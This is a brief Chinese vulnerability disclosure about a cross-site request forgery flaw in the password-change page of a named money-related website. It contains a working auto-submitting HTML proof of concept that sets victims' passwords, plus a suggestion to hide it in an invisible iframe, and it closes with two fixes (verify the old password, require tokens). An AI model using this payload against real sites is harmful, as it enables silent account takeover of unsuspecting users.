修改密碼處無驗證token,並且無驗證原密碼(一個涉及money的站,修改密碼居然沒有驗證原密碼!!!),可以通過一個精心構造的表單欺騙用戶修改密碼。
<html> <body> <form name="csrf" action="http://www.go.cn/index.php?m=settings" method="POST"> <input type=text name=password value="woooooooyun"></input> <input type=text name=password2 value="woooooooyun"></input> <input type=text name=do value="update"></input> <input type="submit" value="submit" /> </form> <script> document.csrf.submit(); </script> </body> </html>
欺騙用戶訪問後,密碼會被改成woooooooyun。
直接讓用戶訪問太明顯了,直接會跳轉到“修改成功”的頁面,所以可以准備一個看似正常的頁面(如新聞),然後iframe這個POC,並且height=0,width=0,用戶就會在不知情的情況下被修改密碼,後果可想而知了。
修復方案:
1.修改密碼一定要驗證原密碼
2.所有涉及用戶信息的操作要驗證隨機的token.